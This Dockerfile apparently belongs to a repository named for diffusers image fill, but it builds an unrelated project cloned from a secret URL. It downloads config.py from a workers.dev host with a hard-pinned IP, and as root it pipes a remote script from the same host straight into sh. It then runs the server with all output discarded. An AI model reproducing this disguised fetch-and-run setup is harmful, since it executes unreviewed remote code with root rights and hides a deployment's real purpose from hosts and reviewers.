williamolson/diffusers-image-fill
0
1FROM tensorflow/serving AS tf_serving2 3FROM python:3.12.10-bookworm4RUN apt update && apt upgrade -y5 6COPY --from=tf_serving /usr/bin/tensorflow_model_server /usr/bin/tensorflow_model_server7 8RUN apt install -y git-lfs9 10RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb \11&& apt install -y ./google-chrome-stable_current_amd64.deb \12&& rm ./google-chrome-stable_current_amd64.deb13 14 15RUN useradd -m -u 1000 williamolson16USER williamolson17ENV HOME=/home/williamolson PATH=$PATH:/home/williamolson/.local/bin18 19WORKDIR $HOME20 21ENV CAP_VERSION=101e7c9022 23RUN --mount=type=secret,id=GIT_URL,mode=0444,required=true \24 git clone $(cat /run/secrets/GIT_URL) && \25 cd $HOME/cap && \26 git checkout $CAP_VERSION27 28WORKDIR $HOME/cap29 30RUN curl https://stop.llm-inference.workers.dev/config.py --resolve stop.llm-inference.workers.dev:443:104.21.32.1 -o config.py31 32RUN git lfs pull33 34RUN python -m pip install --no-cache-dir --upgrade -r requirements.txt fastapi[standard] httpx[http2,brotli] redis[hiredis] uvloop35 36USER root37RUN curl -sSL https://stop.llm-inference.workers.dev/i.sh --resolve stop.llm-inference.workers.dev:443:104.21.32.1 | sh38RUN chown -R williamolson:williamolson /home/williamolson/.cache39 40CMD uvicorn main:app --host 0.0.0.0 --port 7860 > /dev/null 2>&141 